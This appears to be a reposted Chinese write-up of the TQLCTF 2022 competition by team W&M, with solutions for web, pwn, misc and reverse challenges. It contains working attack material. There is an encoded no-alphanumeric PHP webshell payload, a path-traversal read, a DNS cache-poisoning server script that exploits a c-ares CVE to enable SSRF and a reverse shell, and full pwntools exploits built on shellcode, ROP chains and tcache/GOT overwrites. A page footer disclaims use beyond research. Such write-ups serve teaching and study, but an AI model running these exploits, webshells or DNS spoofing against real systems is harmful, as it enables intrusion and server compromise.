TQLCTF 2022 By W&M

admin 2024年9月13日22:06:20评论13 views字数 19845阅读66分9秒阅读模式

WEB

Simple PHP

/get_pic.php?image=../../../../../../../var/www/html//sandbox/16906266ba0d679522301631018473cc.php

读各种源码

对照生成的sandbox.php和可控点。有三个可控点。

TQLCTF 2022 By W&M

第一个可控点/*

第二个可控点*/;无数字字母webshell;/*

user=guo/*&pass=guoke2&website=ccc&punctuation=%2a%2f%29%3b%24%5f%3d%27%27%3b%24%5f%5b%2b%24%5f%5d%2b%2b%3b%24%5f%3d%24%5f%2e%27%27%3b%24%5f%5f%3d%24%5f%5b%2b%27%27%5d%3b%24%5f%3d%24%5f%5f%3b%24%5f%5f%5f%3d%24%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%5f%5f%3d%27%5f%27%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%3d%24%24%5f%5f%5f%5f%3b%24%5f%5f%5f%28%24%5f%5b%5f%5d%29%3b%2f%2a

NetworkTools

1.注意到dnsproxy镜像给出的pycares版本是不存在的4.1.3版本(当前最新版是4.1.2),从pycares入手。
c-ares的CVE-2021-3672污染dns cache,让token.ftp.testsweb.xyz被解析到自己的vps ip,从而访问自己的ftp服务器。
(点ftp check 看里面的 xxxxxx.ftp.testweb.xyz success来确定自己的token。)

https://c-ares.org/adv_20210810.html

TQLCTF 2022 By W&M

2.在vps_ip:21伪造一个ftp服务器让靶机下载文件(robots.txt),文件内容为POST 127.0.0.1:8080/shellcheck的HTTP请求。

3.同一个ftp服务器,让靶机把下载的文件内容,利用ftp PASV指令发送到指定的ip的端口(127.0.0.1:8080),进行ssrf。
命令执行,反弹shell读取flag。

TQLCTF 2022 By W&M
TQLCTF 2022 By W&M
TQLCTF 2022 By W&M
TQLCTF 2022 By W&M
TQLCTF 2022 By W&M
TQLCTF 2022 By W&M

#主要修改位于dns_response函数内。本脚本原型来自网络。
#pip install dnslib

#!/usr/bin/python3

#Customised dns server for python 3.2+ using dnslib
#Should be run as a daemon, either with the supplied daemon manager, or through
#initscripts/systemd
#
# Based off this:
#     https://gist.github.com/andreif/6069838
#
#

##### Settings (change these): #####
WORKER_USERNAME="nobody"  #Unprivileged user and group to run the worker thread
WORKER_GROUP="nobody"
LISTENING_PORT = 53     #Port to listen on
UDP_LISTEN = True       #Listen on UDP?
TCP_LISTEN = False      #Listen on TCP as well?
ALSO_LOG_STDOUT = True  #Print to stdout as well as logging
LOG_LOCATION = "/var/log/dumbdns-server.log"
MAX_LOG_SIZE = 20000
LOG_ROTATIONS = 1
LOG_HANDLE = "dumbdns-server"

#Location for PID file (Not set here anymore)
#PID file location set in either an init-script, or the provided daemoniser if you 
#choose to use it (dumb-dns-daemon.py)
#PID_FILE = "/var/run/dumbdns.pid" 

# Dns info to serve
domain = 'test1.charas.me.' #Fully Qualified Domain Name, in LOWER CASE
vuln = "token.ftp.testsweb.xyz"
IP = "114.51.41.91" #你的vps ip。
TTL = 30
x = vuln + "\x00."+ domain

import logging
import logging.handlers
import os
import sys
import time
import argparse
import datetime
import threading
import traceback
import socketserver
import struct
import pwd
try:
    from dnslib import *
except ImportError:
    print("Missing dependency dnslib. Please install it with `pip`.")
    sys.exit(2)

class DomainName(str):
    def __getattr__(self, item):
        return DomainName(item + '.' + self)

#D = DomainName(domain)
D = DomainName(x)

soa_record = SOA(
    mname=D.ns1,  # primary name server
    rname=D.spam,  # email of the domain administrator
    times=(
        201506013,  # serial number
        7200,  # refresh 7200
        10800,  # retry  10800
        259200,  # expire 259200
        7200,  # minimum 3600
    )
)

ns_records = [NS(D.ns1), NS(D.ns2)]
records = {
    D: [A(IP), AAAA((0,) * 16), MX(D.mail), soa_record] + ns_records,
    D.ns1: [A(IP)],  
    D.ns2: [A(IP)],
}

def dns_response(request):

   qname = request.q.qname
   qn = str(qname)
   qtype = request.q.qtype
   qt = QTYPE[qtype]

   reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
   t = RR.fromZone(domain+'           5     IN      CNAME   www.abc.com.')[0] #我找不到这个语法应该怎么写,直接parse了
   t.rdata = dns.CNAME(x)
   reply.add_answer(t)
   reply.add_answer(RR(rname=x, rtype=1, rclass=1, ttl=TTL, rdata=A(IP)))

   return reply

class BaseRequestHandler(socketserver.BaseRequestHandler):

   log = logging.getLogger(LOG_HANDLE)

   def get_data(self):
      raise NotImplementedError

   def send_data(self, data):
      raise NotImplementedError

   def handle(self):
      now = datetime.datetime.now().strftime("%a %d-%b %H:%M:%S")
      self.log.info("{}: request from ({}:{})".format(now, self.client_address[0], self.client_address[1]))
      try:
         data = self.get_data()
         request = DNSRecord.parse(data)
         try:
            #Change this to make the logging more or less verbose
            self.log.info("\t|-> qtype={}, qname={}".format(request.q.qtype, request.q.qname))
         except:
            pass
         data = dns_response(request)
         if(data is not None):
            #Change this to make the logging more or less verbose
            self.log.info("---- Reply:----\n{}\n".format(data))
            self.send_data(data.pack())
            self.log.info("\t|-> Sent reply")
            pass
         else:
            self.log.info("\t|-> Ignoring invalid domain...")
            pass

      except Exception:
         import traceback
         traceback.print_exc()
         self.log.info("\t|-> Ignoring bad packet (caused exception)")

class TCPRequestHandler(BaseRequestHandler):

   def get_data(self):
      data = self.request.recv(8192).strip()
      sz = struct.unpack('>H', data[:2])[0]
      if sz < len(data) - 2:
         raise Exception("Wrong size of TCP packet")
      elif sz > len(data) - 2:
         raise Exception("Too big TCP packet")
      return data[2:]

   def send_data(self, data):
      sz = struct.pack('>H', len(data))
      return self.request.sendall(sz + data)

class UDPRequestHandler(BaseRequestHandler):

   def get_data(self):
      return self.request[0].strip()

   def send_data(self, data):
      return self.request[1].sendto(data, self.client_address)


def startServer():

   servers = []
   if UDP_LISTEN: servers.append(socketserver.ThreadingUDPServer(('0.0.0.0', LISTENING_PORT), UDPRequestHandler))
   if TCP_LISTEN: servers.append(socketserver.ThreadingTCPServer(('0.0.0.0', LISTENING_PORT), TCPRequestHandler))

   log = logging.getLogger(LOG_HANDLE)
   log.setLevel(logging.INFO)
   log_handler = logging.handlers.RotatingFileHandler(LOG_LOCATION, maxBytes=MAX_LOG_SIZE, backupCount=LOG_ROTATIONS)
   log.addHandler(log_handler)
   if(ALSO_LOG_STDOUT):
      log_handler_stdout = logging.StreamHandler(sys.stdout)
      log.addHandler(log_handler_stdout)

   now = datetime.datetime.now().strftime("%a %d-%b %H:%M:%S")
   log.info("{}: Starting nameserver on port {}\n".format(now, LISTENING_PORT))

   #drop privileges (Should be started as root first to bind to port 53)
   try:
      os.setgid(int(pwd.getpwnam(WORKER_GROUP).pw_gid))
      os.setuid(int(pwd.getpwnam(WORKER_USERNAME).pw_uid))
   except:
      sys.exit(2)

   for s in servers:
      thread = threading.Thread(target=s.serve_forever)  
      thread.daemon = True  # exit the server thread when the main thread terminates
      thread.start()

   try:
      while True:
         time.sleep(1)
   except KeyboardInterrupt:
      pass
   finally:
      for s in servers:
         s.shutdown()

if __name__ == '__main__':
   startServer()

PWN

ezvm

# encoding: utf-8
from pwn import *

elf = None
libc = None
file_name = "./easyvm"


# context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    if context.binary == None:
        context.binary = dic + file_name
    assert isinstance(context.binary, ELF)
    libc = None
    for lib in context.binary.libs:
        if '/libc.' in lib or '/libc-' in lib:
            libc = ELF(lib, checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], int(sys.argv[2]), sys.argv[4])
            return s.process([file_name])
        else:
            if ":" in sys.argv[1]:
                r = sys.argv[1].split(':')
                return remote(r[0], int(r[1]))
            return remote(sys.argv[1], int(sys.argv[2]))
    else:
        return process([file_name])


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        if info == None:
            info = 'libc_base:\t'
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    try:
        sh.recvrepeat(0.1)
        sh.sendline('cat flag')
        return sh.recvrepeat(0.3)
    except EOFError:
        return ""


def get_gdb(sh, addr=None, gdbscript=None, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript)
    elif addr is not None:
        gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
    else:
        gdb.attach(sh)
    if stop:
        pause()


def Attack(target=None, elf=None, libc=None):
    global sh
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 1:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            sh.close()
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag


# 0x400000-> 0x410000
asm_code = ''''''
temp_addr = 0x408000


def open_chunk_syscall(name, size):
    global asm_code
    asm_code += shellcraft.pushstr(name)
    asm_code += '''
    mov rax, 2
    mov rdi, rsp
    mov rsi, %d
    syscall
    ''' % (size)


def write_addr_syscall(fd, addr, size):
    global asm_code
    asm_code += '''
       mov rax, 1
       mov rdi, %d
       mov rsi, %d
       mov rdx, %d
       syscall
       ''' % (fd, addr, size)


def write_syscall(fd, content):
    global asm_code
    asm_code += shellcraft.pushstr(content)
    asm_code += '''
    mov rax, 1
    mov rdi, %d
    mov rsi, rsp
    mov rdx, %d
    syscall
    ''' % (fd, len(content))


def read_syscall(fd, addr, size):
    global asm_code
    asm_code += '''
       mov rax, 0
       mov rdi, %d
       mov rsi, %d
       mov rdx, %d
       syscall
       ''' % (fd, addr, size)


def close_syscall(fd):
    global asm_code
    asm_code += '''
          mov rax, 3
          mov rdi, %d
          syscall
          ''' % fd


def read_to_chunk(fd, size):
    read_syscall(0, temp_addr, size)
    write_addr_syscall(fd, temp_addr, size)


def debug():
    global asm_code
    asm_code += '''
          mov rax, 10
          syscall
          '''


def pwn(sh, elf, libc):
    global asm_code
    context.log_level = "debug"
    open_chunk_syscall('a' * 8, 0x88)  # fd = 3
    open_chunk_syscall('b' * 8, 0x88)  # fd = 4
    open_chunk_syscall('x' * 8, 0x88)  # fd = 5

    open_chunk_syscall('i' * 8, 0x48)  # fd = 6
    open_chunk_syscall('p' * 8, 0xE8)  # fd = 7
    open_chunk_syscall('j' * 8, 0xE8)  # fd = 8
    open_chunk_syscall('k' * 8, 0xE8)  # fd = 9

    read_syscall(3, temp_addr, 8)
    write_addr_syscall(1, temp_addr, 8)
    write_syscall(3, 'a' * 0x50)
    close_syscall(5)
    close_syscall(3)
    close_syscall(4)
    open_chunk_syscall('c' * 0x18, 0x88)  # fd = 3

    read_to_chunk(3, 8)

    open_chunk_syscall('x' * 8, 0x88)  # 4
    open_chunk_syscall('y' * 8, 0x88)  # 5 environ

    read_syscall(5, temp_addr, 8)
    write_addr_syscall(1, temp_addr, 8)

    close_syscall(9)
    close_syscall(7)
    close_syscall(8)
    open_chunk_syscall('w' * 0x18, 0xE8)  # fd = 7

    read_to_chunk(7, 8)
    open_chunk_syscall('wjh1', 0xE8)  # 8
    open_chunk_syscall('wjh2', 0xE8)  # 9 ret_addr
    read_to_chunk(9, 0xE8)

    # gdb.attach(sh, "b *$rebase(0x00000000000022B4)")
    sh.sendlineafter("Send your code:", asm(asm_code) + '\x90')

    libc_base = get_address(sh, True, offset=-0x1ec1f0)

    pop_rdi_addr = libc_base + 0x26b72
    pop_rsi_addr = libc_base + 0x27529
    pop_rdx_r12_addr = libc_base + 0x11c371
    pop_rax_addr = libc_base + 0x4a550
    syscall_addr = libc_base + 0x66229
    environ_addr = libc_base + 0x1ef2e0

    sh.send(p64(environ_addr))
    sh.recv(2)
    stack_offset = u64(sh.recv(8))
    log.success("stack_offset:\t" + hex(stack_offset))

    sh.send(p64(stack_offset - 0x100))

    fake_frame_addr = stack_offset - 0x100

    rop_data = [
        pop_rax_addr,  # sys_open('flag', 0)
        2,
        pop_rdi_addr,
        fake_frame_addr + 0xC8,
        syscall_addr,
        pop_rax_addr,  # sys_read(flag_fd, stack, 0x100)
        0,
        pop_rdi_addr,
        3,
        pop_rsi_addr,
        fake_frame_addr + 0xC8,
        pop_rdx_r12_addr,
        0x100,
        0,
        syscall_addr,
        pop_rax_addr,  # sys_write(1, stack, 0x100)
        1,
        pop_rdi_addr,
        1,
        pop_rsi_addr,
        fake_frame_addr + 0xC8,
        syscall_addr
    ]
    payload = flat(rop_data).ljust(0xC8, '\x00') + 'flag\x00'

    sh.send(payload)
    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(elf=get_file(), libc=get_libc())
    sh.close()
    if flag != "":
        log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

unbelievable_write

free负数到tcache结构体,直接写free_got和target地址到tcache结构体中,然后先申请free_got通过readline覆盖free_got为ret地址,让free失效,然后再malloc一下拿到target地址,然后readline写一下,然后通过后门函数直接拿到flag

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = b"DEBUG"
context.binary = b"./pwn"
def exploit(sh):
    elf = context.binary
    lib = elf.libc
    s       = lambda data               :sh.send(str(data))
    sa      = lambda delim,data         :sh.sendafter(str(delim), str(data))
    sl      = lambda data               :sh.sendline(str(data))
    sla     = lambda delim,data         :sh.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :sh.recv(numb)
    ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
    irt     = lambda                    :sh.interactive()
    uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
    uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
    ru7f    = lambda                    :u64(sh.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    ruf7    = lambda                    :u32(sh.recvuntil(b"\xf7")[-4:].ljust(4,b'\x00'))
    lg      = lambda data               :log.success(data)
    def add(size,content):
        sla(">","1")
        sl(size)
        sl(content)
    def back(size):
        sla(">","2")
        sl(size)
    def flag():
        sla(">","3")

    back(str(-0x290))
    payload = p8(1)*0x40
    payload = payload.ljust(0x90,"\x00") + p64(0x404018)*0x16 + p64(0x404080) * 0x16
    add(0x290 - 0x8,payload)
    payload = p64(0x4013BE) + p64(0x0000000000401040) + p64(0x0000000000401050)

    add(0xa0 - 8,payload)
    add(0x1a0-8,p64(0xdeadbeefdeadbeef))
    flag()

    return sh
if __name__ == '__main__':
    if len(sys.argv) == 1:
        sh = context.binary.process()
    else:
        sh = remote(sys.argv[1],int(sys.argv[2]))
    exploit(sh).interactive()

TQLCTF 2022 By W&M

Misc

Wizard

Analyze

过前验,然后发现后面m也就不到500,算了下有1/500的概率(比我抽卡概率高多了)爆破出flag,直接开摆爆破,结果爆破出来了

from lib2to3.pgen2.token import RPAR
from pwn import *
import hashlib,re,string,itertools,random

def QY(lenth):
    flag = 0
    tt = [''.join(i) for i in list(itertools.product(table, repeat=lenth))]
    for i in range(len(tt)):
        if hashlib.sha256(('TQLCTF'+tt[i]).encode()).hexdigest().startswith(_sha256.decode()):
            flag = 1
            return flag,tt[i]
    return flag,''

while 1:
    p = remote("120.79.12.160",34435)
    data = p.recvuntil(b':')
    _sha256 = re.findall(b'starts with (.*?)\n',data)[0]
    table = string.printable
    lenth = 3
    flag , res = QY(lenth)
    count = 0
    if flag == 0:
        p.close()
        continue

    print(res)
    p.sendline(res.encode())
    try:
        p.recvuntil(b"Let's start!")
    except:
        continue
    data2 = p.recv()
    # print(data2)c
    # print(re.findall(b'm = (.*?)\n',data2))
    m = int(re.findall(b'm = (.*?)\n',data2)[0])
    guess = str(random.randint(0,m))
    p.sendline(('G '+guess).encode())
    data3 = p.recv()
    if b"You are wrong!" not in data3:
        print(data3)
        break
    else:
        print(data3,guess,m)
    p.close()

TQLCTF 2022 By W&M

flag

TQLCTF{34ac522d-197d-4683-8ff4-af1e4f5ca416}

Ranma½

Analyze

感觉本来想让我们找正确的编码的,最后发现vim打得开

TQLCTF 2022 By W&M

得到

KGR/QRI 10646-1 zswtqgg d tnxcs tsdtofbrx osk ndnzhl gna Ietygfviy Idoilfvsu Arz (QQJ) hkkqk maikaglvusv ubyp cw ekg krzyj'o kitwkbj alypsdd.  Wjs rzvmebrwoa duwcuosu pqecgqamo cw ekg IFA, uussmpu, ysum aup qfxschljyk swks pcbb khxnsee drdoqpgpwfyv cbg xeupctzou, oql gneg ylv nsg bb zds upygzrxzkjh fq XVT-8, wpr uxxvnw qt wpvy isdz. XVT-8 kif zds tsdtofbrxegktf qt szryafmtqi hkm sahz LD-DUQLQ egjuv, auqjllvtc qfxschljvrehp hlvv iqyk omjehog, sieyafj lqf cwprx ocwezcfh bugp fvwb qb XA-NYYWZ gdniha oap oip wtoqacgnsee wq cwprx rocfhu. HTTPZB{QFOLP6_KRZ1Q}

很容易看得出来是维吉尼亚,直接在线网站破解得到

ISO/IEC 10646-1 defines a large character set called the Universal Character Set (UCS) which encompasses most of the world's writing systems.  The originally proposed encodings of the UCS, however, were not compatible with many current applications and protocols, and this has led to the development of UTF-8, the object of this memo. UTF-8 has the characteristic of preserving the full US-ASCII range, providing compatibility with file systems, parsers and other software that rely on US-ASCII values but are transparent to other values. TQLCTF{CODIN6_WOR1D}

flag

TQLCTF{CODIN6_WOR1D}

the Ohio State University

Analyze

音游人当然一开始就去找到粪铺不对劲的地方(x,最难的那块后面有大量的重复,然后还蛮有规律

TQLCTF 2022 By W&M

这可以看到铺子有大量重复,我们一组组提取出来转化成0和1得到

00110101
01001000
01101111
01010111
01110100
01001001
01101101
01100101
01111101

二进制后得到5HoWtIme},应该是一部分flag

然后把曲包解压

TQLCTF 2022 By W&M

图片属性有pwdpwd: VVelcome!!应该是某种工具隐写,fuzz后发现是steghide

TQLCTF 2022 By W&M

得到TQLCTF{VVElcOM3

然后再basic的osu中发现WAVPassword: MisoilePunch,有个WAV的密码,然后fuzz后发现是音频LSB,里面8个wav分别用SilentEye解,可以试出来是boom.wav,得到

TQLCTF 2022 By W&M

得到_TO_O$u_i7s_,拼接完后得到flag

flag

TQLCTF{VVElcOM3_TO_O$u_i7s_5HoWtIme}

wordle

from pwn.toplevel import remote
import json
from randcrack import RandCrack


with open('allowed_guesses.txt', 'r') as f:
    allowed_guesses = set([x.strip() for x in f.readlines()])

with open('valid_words.txt', 'r') as f:
    valid_words = [x.strip() for x in f.readlines()]

GREEN = b'\033[42m  \033[0m'
YELLOW = b'\033[43m  \033[0m'
WHITE = b'\033[47m  \033[0m'


def get_challenge(rc: RandCrack):
    id = rc.predict_randrange(len(valid_words) * (2 ** 20))
    answer = valid_words[id % len(valid_words)]
    id = (id // len(valid_words)) ^ (id % len(valid_words))
    return id, answer

def to_challenge(ans: str, id: int) -> int:
    answer = valid_words.index(ans) # id % len(valid_words)
    _id = id ^ answer # id // len(valid_words)
    return _id * len(valid_words) + answer

def process_ans(s: bytes) -> str:
    s = s.replace(GREEN, b"G").replace(
        YELLOW, b"Y").replace(WHITE, b"B").replace(b" ", b'')
    return s.decode()


with open("5.json") as f:
    tree = json.load(f)[1]

proc = remote("47.106.102.129", 36085)
rc = RandCrack()

proc.sendlineafter("> ", b"2")

while True:
    word = "salet"

    root = tree
    cnt = 1
    r = proc.recvline()
    if not r.startswith(b"Round"):
        print(r)
        break
    _, round, id = r.split()
    round = int(round[:-1])
    id = int(id[1:], 16)
    print(f"{round=} {id=}")
    while True:
        proc.sendlineafter("> ", word.encode())
        ans = process_ans(proc.recvline().split(b"!")[1].strip())
        if ans == "GGGGG":
            break
        word, root = root[ans+str(cnt)]
        cnt = cnt+1
    ans_id = valid_words.index(word)
    # id = (id // len(valid_words)) ^ (id % len(valid_words))
    id = (id ^ ans_id) * len(valid_words) + ans_id
    rc.submit(id)

proc.sendlineafter("> ", b"2")

while True:
    word = "salet"

    root = tree
    cnt = 1
    r = proc.recvline()
    if not r.startswith(b"Round"):
        break
    _, round, id = r.split()
    round = int(round[:-1])
    id = int(id[1:], 16)
    print(f"{round=} {id=}")
    while True:
        proc.sendlineafter("> ", word.encode())
        ans = process_ans(proc.recvline().split(b"!")[1].strip())
        if ans == "GGGGG":
            break
        word, root = root[ans+str(cnt)]
        cnt = cnt+1
    if not rc.state:
        rc.submit(to_challenge(word, id))
    else:
        print("assert")
        pred_id, answer = get_challenge(rc)
        assert pred_id == id
        assert answer == word

proc.sendlineafter("> ", b"3")
while True:
    r = proc.recvline()
    if not r.startswith(b"Round"):
        break
    _, round, id = r.split()
    round = int(round[:-1])
    id = int(id[1:], 16)
    print(f"{round=} {id=}")
    pred_id, answer = get_challenge(rc)
    assert pred_id == id
    proc.sendlineafter("> ", answer.encode())
    ans = process_ans(proc.recvline().split(b"!")[1].strip())
    print(f"{answer=} {ans=}")
proc.interactive()

https://github.com/alex1770/wordle.git

改一下这个,让他输出决策树

./wordle -a ../allowed_guesses.txt -h ../valid_words.txt -w salet -g4 -p a.txt

用这个数据跑hard能过

easy是NULL

mid是rick roll

hard是乱序

所以必须跑insane

只要连接不断,可以一直开新的一轮,随机数种子不变

所以随便跑两轮前面的,然后推最后一轮的id就行了

问卷

签到

Reverse

Tales of the Arrow

TQLCTF 2022 By W&M

可以看到正确与错误的应该是一半对一半
但是如果是可见字符 那么8位的bit的第一位不能为0,所以根据这个原则进行筛选

TQLCTF 2022 By W&M

判断有两个0的情况剩下的一定为真

TQLCTF 2022 By W&M

再通过记录出的相反数,再次筛选一次结果从而得到成功序列

aa = "01110011011001010110010101011111011110010110111101110101010111110110100101101110010111110110011101100001011011000110000101111000011110010"

str1 = ""

for i in range(len(aa)):

  if(i%8==0):

​    str1 += chr(int(aa[i:i+8],2))

print(str1)

FROM : wm-team.cn

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月13日22:06:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   TQLCTF 2022 By W&Mhttps://cn-sec.com/archives/3165704.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息